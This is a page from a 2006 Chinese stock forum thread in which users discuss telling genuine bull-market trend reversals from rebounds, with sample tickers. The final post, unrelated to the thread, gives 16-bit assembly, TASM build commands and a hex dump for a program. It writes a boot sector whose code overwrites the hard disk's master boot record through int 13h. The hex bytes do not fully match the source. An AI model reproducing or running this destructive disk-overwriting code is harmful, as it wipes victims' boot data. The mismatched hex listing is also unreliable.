dyxsm
发表于 2006-2-9 15:18
回味无穷!
xtwmy
发表于 2006-2-17 15:04
年年有牛
tanyanxue
发表于 2006-2-19 17:21
请教小孩前辈:我们都知道熊市中选牛股不容易,失败的机率相当高。除了上面讲的这些形态以外,还有什么要注意的没有?
taotiepu
发表于 2006-2-19 17:44
太好了!经典啊!
上海小孩
发表于 2006-2-19 21:27
原帖由 tanyanxue 于 2006-2-19 17:21 发表
请教小孩前辈:我们都知道熊市中选牛股不容易,失败的机率相当高。除了上面讲的这些形态以外,还有什么要注意的没有? 如果你指的是选牛股(区别任何形式的反弹),为在判别中达到100%的成功率(仅指严以律己),我能提供的(仅是)我的看法,供参考。
1.放弃在没有明确走出下降趋势(相对历史)前的任何反弹。比如上证指数就是一只个股,该股在前五年任何的反弹中都没有相对的调整给予印证突破而面对转世。
2.要相信这五年来90%以上的股票任何涨都是反弹,就是至今能确认已经完全摆脱(历史)下降趋势的个股也占90%中的少数。大多数都“像”反弹的股票实在不好把握,反过来,少数完全跟大多数不一样的个股反倒感觉太容易把握了。
3.做上升趋势的个股,思维不该被“价格”摆弄。牛股是被中长期上升趋势牵着走的,俗话:一波更比一波高。买牛股你把握的是过程,你拥有的是过程,最后你买出的也是过程;只把价格看成波浪中的朵朵浪花名——符号,这样长期以往,很可能会渐渐远离人性本能弱点——从来不愿吃亏。
刘少奇的一句“吃小亏,占大便宜”值得琢磨琢磨。
4.例一:600615。该股相对数年下降趋势的“井喷”的确很诱人,从起动的位置来看也仅是最初的一腿。在它涨幅五六倍后回头一看,才知当初每天都是踩上牛股的切入点,但又能每天都让你怀疑“红旗究竟还能打多久”。所以人们常把事先没任何预兆的事件形容:突如其来。
因该股相对历史下的太过份,所以能明确转世的机会只能摆在这一次相对(前旗杆)调整的突破以后或突破前有明确的子结构突破状(又称整个结构的欲突破)。
5.例二:600073。该股在着底4.11前的那个破位形态够密集,且距离又过远,即使涨了也只能以反弹待之。后来这种V字形的涨势要确认转势必须恢复或穿越那“密集”领地,然后相对调整才有成“牛”的感觉。结果一倍有余以后都未能夺回阵地,可以看出接下来的相对调整就被前“密集”的屁股压着——问题复问题。再比较该股99年那调整与转世的过程又是另一会事。
只想到这些,想起来再讨论。
tanyanxue
发表于 2006-2-20 08:46
原帖由 上海小孩 于 2006-2-19 21:27 发表
如果你指的是选牛股(区别任何形式的反弹),为在判别中达到100%的成功率(仅指严以律己),我能提供的(仅是)我的看法,供参考。
1.放弃在没有明确走出下降趋势(相对历史)前的任何反弹。比如上证指数就是一只 ...
首先非常感谢前辈的热心指点,但我想任何感激的语言也比不了我们正确理解您的意思更能让您感到欣慰,下面是我对您的教导的解读。
第1条讲的是强势股的问题,如何判断明确走出下降趋势,我理解最少应该是超过历史最高价的50%,而且要是跌破50%后经历相当长的时间,重新上穿50%。
第2条讲的是反弹和强势的区别,是否运用道氏理论而抛弃波浪,一句话:“重新创历史新高”,碗口结构的个股都是在创历史新高或突破明显的前旗杆,或者说重新创历史新高的个股经过回抽确认再次有效突破后都是相当安全。
第3条讲的是心态层面的问题,“永远没有高得不能买的股价,也永远没有低的不能卖的股价”,我读这句话最早是在五年前,最近才理解,能否彻底克服心理障碍还不敢确定,这是因为在日常生活是的商品市场,贱买贵卖是人之常情,但在证券期货这类高投机的市场中,正好应该相反,很多时候应该“追涨杀跌”,这是个逆向思维的问题。
第4条讲的是个例子,连ST都能走这么大的行情,还有什么是不可能的。
第5条讲的是压力和支撑,在重要的历史高低点是往往有相当大的压力和支撑,必须穿过重要的压力位,才有可能是真的突破,否则只是反弹。
不知道理解的哪些不对,还请前辈赐教。
上海小孩
发表于 2006-2-20 17:02
原帖由 tanyanxue 于 2006-2-20 08:46 发表
第1条讲的是强势股的问题,如何判断明确走出下降趋势,我理解最少应该是超过历史最高价的50%,而且要是跌破50%后经历相当长的时间,重新上穿50%。
第2条讲的是反弹和强势的区别,是否运用道氏理论而抛弃波浪,一句话:“重新创历史新高”,碗口结构的个股都是在创历史新高或突破明显的前旗杆,或者说重新创历史新高的个股经过回抽确认再次有效突破后都是相当安全。
第3条讲的是心态层面的问题,“永远没有高得不能买的股价,也永远没有低的不能卖的股价”,我读这句话最早是在五年前,最近才理解,能否彻底克服心理障碍还不敢确定,这是因为在日常生活是的商品市场,贱买贵卖是人之常情,但在证券期货这类高投机的市场中,正好应该相反,很多时候应该“追涨杀跌”,这是个逆向思维的问题。
第4条讲的是个例子,连ST都能走这么大的行情,还有什么是不可能的。
第5条讲的是压力和支撑,在重要的历史高低点是往往有相当大的压力和支撑,必须穿过重要的压力位,才有可能是真的突破,否则只是反弹。
不知道理解的哪些不对,还请前辈赐教。
第1条:判断明确走出下降趋势不仅仅只在“超历史”。凭我自己仅有的能力大约有三处可观察:1.底蕴。2.端口。3.碗口。
底蕴指相对历史下降趋势有明显的左右区分。因大多个股下降前没有相对历史依据,就是有一大腿的也常有假设2破1的,比如600839。它们在着底前跟本无法确定是以什么形态命名,只能等明显的推动一浪后相对调整2再突破来确定转世。推动浪是无休止的5的复合,盯着数很容易一数就近视。所以我只好先不数浪先数腿(须细说)。
端口指的是切入历史最重要的“密集”后的相对调整,端口也是底蕴突破后必须的目标位——否则原判有误。
比如上指目前“重要密集“在1300-1700”,而1783是是底蕴突破后必须的目标位。
碗口就是以上含义:突破历史极端,然后形态。
我讲的几口大多与浪级无法联系,因各股与各指数都不会有一模一样的下降与上升分量过程。
比如600519,整条5个浪的腿一气呵成被看得明明白的时候已经很超历史了。这样的情况不多见,可视为“千载难逢”的观察机会。只要你愿意有这方面的思想准备,将来再遇有此类机会出现,你准能毫不犹豫。
市场永远会有重复历史的情况或东西出现,但与92、93年认购证相比,与“天掉馅饼”不是一回事。
第2条:“重新创历史新高的个股经过回抽确认再次有效突破后都是相当安全”说得好。如果上证指数哪天破2245“经过回抽确认再次有效突破后”,那时不会有人拿800点说事,你就将该股当成上证指数。
第3条:意思大概,但我并不赞同“追涨杀跌”一说。追涨杀跌归情绪,与消洒地判底摸顶有本质的区别。
第4条:不是这意思。市场上不但将像615那样的相对走势称“牛”,就连放大几月的日线图上右面有连续涨势的统统感觉:牛啊牛。我想说相对历史数倍反弹的不等于转世,找牛股找的是转世。
第5条:对。是这个意思。
tanyanxue
发表于 2006-2-20 17:50
原帖由 上海小孩 于 2006-2-20 17:02 发表
第1条:判断明确走出下降趋势不仅仅只在“超历史”。凭我自己仅有的能力大约有三处可观察:1.底蕴。2.端口。3.碗口。
底蕴指相对历史下降趋势有明显的左右区分。因大多个股下降前没有相对历史依据,就是有一 ...
有一些明白了。
底蕴指的是低点上移,也就是腿在抬高,底有单底、双底、三重底,这是第一条腿,随后出现的第二条腿上移就是底蕴,还是要等第三条腿?这个问题可能有点过份,因为没有绝对的办法。
端口说的应该是支撑压力的问题。
出现了三大口以后,回头看几条腿,如果除了最低点至少还有一条腿,买入,画出通道,重新数浪,待顶。
受教啊,感激之情,无以言表。
龙门阵
发表于 2006-2-20 19:38
请教小孩前辈
是这样吗?
tanyanxue
发表于 2006-2-20 20:06
一边吃饭一边想这个问题,忽然想起一个问题,调整浪和腿之间是什么关系?腿是单指带锯齿形调浪的调整?还是明显的调整?还是。。。(问题是这样来的,“盯着数很容易一数就近视。所以我只好先不数浪先数腿(须细说)。”如果说起来太麻烦您可以告诉我应该看什么书或者应该按什么方向考虑。。。)
上海小孩
发表于 2006-2-20 20:19
原帖由 龙门阵 于 2006-2-20 19:38 发表
请教小孩前辈
是这样吗? 大概如此。
各股的历史结构布局各异,如果仅用明显的浪级来嵌定几处被收复的领地,在实际观察中远不会这么简单。
目前我对此判断的能力也只达到根据经验意会些,还无能用理论凿凿有词地言传。
注册以后2
发表于 2006-2-20 20:33
实际观察中远不会这么简单
龙门阵
发表于 2006-2-20 20:53
原帖由 上海小孩 于 2006-2-20 20:19 发表
大概如此。
各股的历史结构布局各异,如果仅用明显的浪级来嵌定几处被收复的领地,在实际观察中远不会这么简单。
目前我对此判断的能力也只达到根据经验意会些,还无能用理论凿凿有词地言传。
谢谢!
主要是领会前辈几口之精神,至于当时价格走到某口处是否就真是,可能需要经验或其他更多的东西。希望看到前辈这方面的讲解。
上海小孩
发表于 2006-2-20 22:31
原帖由 龙门阵 于 2006-2-20 20:53 发表
谢谢!
主要是领会前辈几口之精神,至于当时价格走到某口处是否就真是,可能需要经验或其他更多的东西。希望看到前辈这方面的讲解。 简举一例。
该股就是我当年选择时所想,可能属于经验类的思维。或许各股各有说道,故只能见一说一。
龙门阵
发表于 2006-2-20 23:00
谢谢
是这样吗?当然能否成功看一步一步如何走
lflflala
发表于 2006-2-20 23:26
学后感:
个人认为:
碗口比端口的想像力大;端口比底蕴好把握些;底蕴比抄底的更安全;抄底的比ST风险小;ST比*ST命长点......依次类推!!!
操作次序:
有碗口的绝不做端口的;有端口的绝不做底蕴的;有底蕴的绝不做抄底的;有抄底的绝不做ST的;有ST的绝不做*ST的......依次类推!!!
便宜没好货。
张裕不敢买吧?!它要上40!
茅台更不敢买吧?!它要上80(或100)!
[ 本帖最后由 lflflala 于 2006-2-20 23:31 编辑 ]
wguy
发表于 2006-2-21 13:03
"当然能否成功看一步一步如何走"
龙门阵
发表于 2006-2-21 20:18
碗口------端口-------底蕴------抄底-------ST-------*ST-----------
jackee
发表于 2006-2-22 03:09
这么长............
hchgsh
发表于 2006-2-22 12:38
;hard.asm code
code segment
assume cs:code,ds:code
org 100h
Start:
mov ax,0301
mov bx,offset DATA
mov cx,0001
xor dx,dx
int 13h
int 20h
DATA:
mov ax,0301
mov bx,0200
mov cx,0001
mov dx,0080
int 13h
code ends
end start
用Tasm5编译!
tasm/m hard
tlink/t hard
如没有Tasm,不妨用Ultraedit编辑如下二进制文件!
000000: B8 2D 01 BB 0F 01 B9 01 00 33 D2 CD 13 CD 20 B8
000010: 2D 01 BB C8 00 B9 01 00 BA 50 00 CD 13 00 00 00
页:
1
2
3
[4]
5
6
7
8
9
10
11
12
13